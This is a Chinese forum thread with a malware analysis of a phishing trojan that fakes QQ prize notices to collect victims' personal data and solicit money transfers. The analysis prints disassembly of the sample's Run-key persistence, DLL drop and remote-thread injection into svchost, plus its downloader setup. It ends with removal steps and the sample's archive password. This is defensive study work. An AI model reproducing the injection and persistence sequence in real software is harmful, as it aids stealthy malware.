willJ 发表于 2012-5-3 16:00

利用QQ中奖钓鱼木马分析

本帖最后由 willJ 于 2012-5-3 17:47 编辑

好久没有分析过病毒啦,为了练手就去down了一个样本来玩玩,没有想到居然是一个钓鱼的,记得我高中就被这样单纯的钓过。一.    病毒描述:通过运行这个病毒,病毒会去下载很多东西回来,并模仿弹出QQ系统消息,告知用户中奖了,用户如果点击了就进入了钓鱼的界面。二.    病毒文件:三.    病毒母体的工作流程:1.      先查壳,如图:可见是c写的,但是作者应该做了区段合并的操作,可能是为了减小体积吧。2.      做了一系列的获取system32还有自身位置的操作,然后将c:\windows\system32\updater.exe写入注册表,做自启动:
.text:00401D80               push    eax             ; phkResult
.text:00401D81               push    offset SubKey   ; 00401D81|.68 50134000   "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
.text:00401D86               push    80000002h       ; hKey
.text:00401D8B               rep movsb
.text:00401D8D               call    RegCreateKeyA

.text:00401DB7               push    ecx             ; cbData
.text:00401DB8               lea   ecx,
.text:00401DBC               push    ecx             ; lpData
.text:00401DBD               push    1               ; dwType
.text:00401DBF               push    eax             ; Reserved
.text:00401DC0               push    offset ValueName ; "updater"
.text:00401DC5               push    edx             ; hKey
.text:00401DC6               call    RegSetValueExA

3.      接着获取了temp目录,准备在temp目录下释放文件:
.text:00401E25               push    ecx             ; lpBuffer
.text:00401E26               push    0FFh            ; nBufferLength
.text:00401E2B               stosb
.text:00401E2C               call    GetTempPathA


获取好了temp目录后做了资源文件释放的操作,最后在temp目录下面释放了一个tmp.tmp的文件:
.text:00401628               push    ebx
.text:00401629               push    esi
.text:0040162A               push    edi
.text:0040162B               and   ecx, 0FFFFh
.text:00401631               push    eax             ; lpType
.text:00401632               push    ecx             ; lpName
.text:00401633               push    0               ; hModule
.text:00401635               call    FindResourceA
.text:0040163B               mov   esi, eax
.text:0040163D               test    esi, esi
.text:0040163F               jz      short loc_4016A1
.text:00401641               push    esi             ; hResInfo
.text:00401642               push    0               ; hModule
.text:00401644               call    SizeofResource
.text:0040164A               mov   ebx, eax
.text:0040164C               test    ebx, ebx
.text:0040164E               jz      short loc_4016A1
.text:00401650               push    esi             ; hResInfo
.text:00401651               push    0               ; hModule
.text:00401653               call    LoadResource
.text:00401659               mov   edi, eax
.text:0040165B               test    edi, edi
.text:0040165D               jz      short loc_4016A1
.text:0040165F               mov   edx,
.text:00401663               push    0               ; hTemplateFile
.text:00401665               push    0               ; dwFlagsAndAttributes
.text:00401667               push    2               ; dwCreationDisposition
.text:00401669               push    0               ; lpSecurityAttributes
.text:0040166B               push    0               ; dwShareMode
.text:0040166D               push    40000000h       ; dwDesiredAccess
.text:00401672               push    edx             ; lpFileName
.text:00401673               call    CreateFileA
.text:00401679               mov   esi, eax
.text:0040167B               test    esi, esi
.text:0040167D               jnz   short loc_401683
.text:0040167F               pop   edi
.text:00401680               pop   esi
.text:00401681               pop   ebx
.text:00401682               retn
.text:00401683 ; ---------------------------------------------------------------------------
.text:00401683
.text:00401683 loc_401683:                           ; CODE XREF: sub_401620+5Dj
.text:00401683               lea   eax,
.text:00401687               push    0               ; lpOverlapped
.text:00401689               push    eax             ; lpNumberOfBytesWritten
.text:0040168A               push    ebx             ; nNumberOfBytesToWrite
.text:0040168B               push    edi             ; hResData
.text:0040168C               call    LockResource
.text:00401692               push    eax             ; lpBuffer
.text:00401693               push    esi             ; hFile
.text:00401694               call    WriteFile
.text:0040169A               push    esi             ; hObject
.text:0040169B               call    CloseHandle

4.      获取system32目录的svchost文件,然后启动这个文件,为后面远线程注入做准备:
.text:00401F54               push    ecx             ; lpStartupInfo
.text:00401F55               push    0               ; lpCurrentDirectory
.text:00401F57               push    0               ; lpEnvironment
.text:00401F59               push    4               ; dwCreationFlags
.text:00401F5B               push    0               ; bInheritHandles
.text:00401F5D               push    0               ; lpThreadAttributes
.text:00401F5F               push    0               ; lpProcessAttributes
.text:00401F61               push    offset CommandLine ; lpCommandLine
.text:00401F66               push    edx             ; lpApplicationName
.text:00401F67               call    CreateProcessA


5.开始进行远线程注入了,将刚释放的tmp.tmp文件(其实是一个dll)注入到svchost中。
.text:004016F5               push    ecx             ; dwProcessId

.text:004016F6               push    0               ; bInheritHandle

.text:004016F8               push   
43Ah            ; dwDesiredAccess

.text:004016FD               call    OpenProcess



.text:00401715               push    40h             ; flProtect

.text:00401717               push    3000h         ; flAllocationType

.text:0040171C               push    104h            ; dwSize

.text:00401721               push    0               ; lpAddress

.text:00401723               push    esi             ; hProcess

.text:00401724               call    VirtualAllocEx



.text:0040173C               push    0               ; lpNumberOfBytesWritten

.text:0040173E               lea   edx,

.text:00401742               push    104h            ; nSize

.text:00401747               push    edx             ; lpBuffer

.text:00401748               push    edi             ; lpBaseAddress

.text:00401749               push    esi             ; hProcess

.text:0040174A               call    WriteProcessMemory



.text:0040177C               lea   ecx,

.text:00401780               push    ecx             ; lpThreadId

.text:00401781               push    0               ; dwCreationFlags

.text:00401783               push    edi             ; lpParameter

.text:00401784               push   
eax             ; lpStartAddress

.text:00401785               push    0               ; dwStackSize

.text:00401787               push    0               ; lpThreadAttributes

.text:00401789               push    esi             ; hProcess

.text:0040178A               call    CreateRemoteThread

6.动态获取下载相关的API,为后面的下载做准备:
text:004017E0               sub   esp, 120h

.text:004017E6               push    ebx

.text:004017E7               push    ebp

.text:004017E8               push    esi

.text:004017E9               mov   esi, LoadLibraryA

.text:004017EF               push   
edi

.text:004017F0               push    offset aInternetopena ;
"InternetOpenA"

.text:004017F5               push    offset LibFileName ;
"wininet.dll"

.text:004017FA               call    esi ; LoadLibraryA

.text:004017FC               mov   edi, GetProcAddress

.text:00401802               push    eax             ; hModule

.text:00401803               call    edi ; GetProcAddress

.text:00401805               push    offset aInternetopenur ; "InternetOpenUrlA"

.text:0040180A               push    offset LibFileName ;
"wininet.dll"

.text:0040180F               mov   ebx, eax

.text:00401811               call    esi ; LoadLibraryA

.text:00401813               push    eax             ; hModule

.text:00401814               call    edi ; GetProcAddress

.text:00401816               push    offset aInternetcloseh ;
"InternetCloseHandle"

.text:0040181B               push    offset LibFileName ;
"wininet.dll"

.text:00401820               mov   ebp,
eax

.text:00401822               call    esi ; LoadLibraryA

.text:00401824               push    eax             ; hModule

.text:00401825               call    edi ; GetProcAddress

7.开始执行下载任务:
.text:00401827               push    0

.text:00401829               push    0

.text:0040182B               push    0

.text:0040182D               push    0

.text:0040182F               push    offset aBaidu   ; "baidu"

.text:00401834               mov   , eax

.text:00401838               call   
ebx

下面全部是下载来的东东:然后打开了一个导航网站:在电脑的右下角出现了很熟悉的东西,当时虚拟机就没有QQ运行,居然还弹了通知出来,还有中奖信息:那我就点进去看看,马上浏览器弹出一个对话框:做得很是仿真啊,继续下一步吧:正确输入后:然后就开始收集个人信息了:填写完信息后:这里就开始让人汇款过去了:这些东东就是下载者下载过来的。
四.    总结以及对策:这个木马主要是通过注入到svchost(为了隐藏自己),然后通过网络去下载它需要钓鱼的程序,通过钓鱼来达到获取利益的目的。
在注册表中,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除这个键值。结束掉和这个程序有关的进程:删除掉C:\Documents and Settings\Administrator\Local Settings\Temp里面木马下载的文件:删除掉桌面上劫持的IE图标:更简单的清除方法就是用安全软件清除,比如360安全卫士,360杀毒完全可以解决这些问题。本人刚学病毒分析,很多东西分析得不好,还请各位大牛多多指点,指导,小弟会多多向您们学习的。最后上传下病毒样本吧,解压密码:52pojie

rowe126 发表于 2012-5-3 17:49

果断支持!!!

Peace 发表于 2012-5-3 16:22

膜拜J牛;

人帅也就算了,写的文章还那么帅

大眼睛 发表于 2012-5-3 16:25

学习的东西,真多呀,

willJ 发表于 2012-5-3 16:29

Peace 发表于 2012-5-3 16:22 static/image/common/back.gif
膜拜J牛;

人帅也就算了,写的文章还那么帅

P叔夸奖了{:301_975:}

xuliang 发表于 2012-5-3 16:29

前排支持很详细啊膜拜啊!

huanghuajim 发表于 2012-5-3 16:56

前排支持。很详细哦。

Hmily 发表于 2012-5-3 17:38

下载那里也分析下地址啥的,还有桌面图标生成等行为也搞下分析吧?名字修改成钓鱼木马分析之类的吧。

willJ 发表于 2012-5-3 17:45

Hmily 发表于 2012-5-3 17:38 static/image/common/back.gif
下载那里也分析下地址啥的,还有桌面图标生成等行为也搞下分析吧?名字修改成钓鱼木马分析之类的吧。

好的

yuansunxue 发表于 2012-5-3 17:56

学习加支持
页: [1] 2 3 4 5 6 7
查看完整版本: 利用QQ中奖钓鱼木马分析